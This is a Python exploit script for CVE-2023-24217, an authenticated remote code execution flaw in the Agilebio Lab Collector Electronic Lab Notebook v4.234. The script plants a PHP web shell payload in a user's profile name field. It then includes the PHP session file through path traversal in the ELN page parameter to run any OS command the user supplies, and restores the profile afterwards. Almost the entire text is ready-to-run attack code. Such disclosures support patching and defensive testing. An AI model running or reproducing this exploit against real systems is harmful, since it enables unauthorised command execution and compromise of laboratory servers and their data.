Agilebio Lab Collector Electronic Lab Notebook v4.234 - Remote Code Execution (RCE)

# Exploit Title: Agilebio Lab Collector Electronic Lab Notebook  v4.234 - Remote Code Execution (RCE)
# Date: 2023-02-28
# Exploit Author: Anthony Cole
# Vendor Homepage: https://labcollector.com/labcollector-lims/add-ons/eln-electronic-lab-notebook/
# Version: v4.234
# Contact: http://twitter.com/acole76
# Website: http://twitter.com/acole76
# Tested on: PHP/MYSQL
# CVE: CVE-2023-24217
# Category: webapps
#   
# Lab Collector is a software written in PHP by Agilebio. Version v4.234 allows an authenticated user to execute os commands on the underlying operating system.
#  

from argparse import ArgumentParser
from requests import Session
from random import choice
from string import ascii_lowercase, ascii_uppercase, digits
import re
from base64 import b64encode
from urllib.parse import quote_plus

sess:Session = Session()
cookies = {}
headers = {}
state = {}

def random_string(length:int) -> str:
    return "".join(choice(ascii_lowercase+ascii_uppercase+digits) for i in range(length))

def login(base_url:str, username:str, password:str) -> bool:
    data = {"login": username, "pass": password, "Submit":"", "action":"login"}
    headers["Referer"] = f"{base_url}/login.php?%2Findex.php%3Fcontroller%3Duser_profile"
    res = sess.post(f"{base_url}/login.php", data=data, headers=headers)

    if("My profile" in res.text):
        return res.text
    else:
        return None
    
def logout(base_url:str) -> bool:
    headers["Referer"] = f"{base_url}//index.php?controller=user_profile&subcontroller=update"
    sess.get(f"{base_url}/login.php?%2Findex.php%3Fcontroller%3Duser_profile%26subcontroller%3Dupdate",headers=headers)

def extract_field_value(contents, name):
    value = re.findall(f'name="{name}" value="(.*)"', contents)
    if(len(value)):
        return value[0]
    else:
        return ""

def get_profile(html:str):
    return {
        "contact_name": extract_field_value(html, "contact_name"),
        "contact_lab": extract_field_value(html, "contact_lab"),
        "contact_address": extract_field_value(html, "contact_address"),
        "contact_city": extract_field_value(html, "contact_city"),
        "contact_zip": extract_field_value(html, "contact_zip"),
        "contact_country": extract_field_value(html, "contact_country"),
        "contact_tel": extract_field_value(html, "contact_tel"),
        "contact_email": extract_field_value(html, "contact_email")
    }


def update_profile(base_url:str, wrapper:str, param:str, data:dict) -> bool:
    headers["Referer"] = f"{base_url}/index.php?controller=user_profile&subcontroller=update"
    res = sess.post(f"{base_url}/index.php?controller=user_profile&subcontroller=update", data=data, headers=headers)
    return True

def execute_command(base_url:str, wrapper:str, param:str, session_path:str, cmd:str):
    session_file = sess.cookies.get("PHPSESSID")
    headers["Referer"] = f"{base_url}/login.php?%2F"
    page = f"../../../../../..{session_path}/sess_{session_file}"
    res = sess.get(f"{base_url}/extra_modules/eln/index.php?page={page}&action=edit&id=1&{param}={quote_plus(cmd)}", headers=headers)
    return parse_output(res.text, wrapper)

def exploit(args) -> None:
    wrapper = random_string(5)
    param = random_string(3)
    html = login(args.url, args.login_username, args.login_password)
    
    if(html == None):
        print("unable to login")
        return False
    
    clean = get_profile(html)
    data = get_profile(html)
    tag = b64encode(wrapper.encode()).decode()
    payload = f"<?php $t=base64_decode('{tag}');echo $t;passthru($_GET['{param}']);echo $t; ?>"    
    
    data["contact_name"] = payload #inject payload in name field

    if(update_profile(args.url, wrapper, param, data)):
        login(args.url, args.login_username, args.login_password) # reload the session w/ our payload
        print(execute_command(args.url, wrapper, param, args.sessions, args.cmd))
        update_profile(args.url, wrapper, param, clean) # revert the profile
    
    logout(args.url)
    

def parse_output(contents, wrapper) -> None:
    matches = re.findall(f"{wrapper}(.*)\s{wrapper}", contents, re.MULTILINE | re.DOTALL)
    if(len(matches)):
        return matches[0]
    
    return None

def main() -> None:
    parser:ArgumentParser = ArgumentParser(description="CVE-2023-24217")
    parser.add_argument("--url", "-u", required=True, help="Base URL for the affected application.")
    parser.add_argument("--login-username", "-lu", required=True, help="Username.")
    parser.add_argument("--login-password", "-lp", required=True, help="Password.")
    parser.add_argument("--cmd", "-c", required=True, help="OS command to execute.")
    parser.add_argument("--sessions", "-s", required=False, default="/var/lib/php/session/", help="The location where php stores session files.")
    
    args = parser.parse_args()
    if(args.url.endswith("/")):
        args.url = args.url[:-1]

    if(args.sessions.endswith("/")):
        args.sessions = args.sessions[:-1]

    exploit(args)
    pass

if(__name__ == "__main__"):
    main()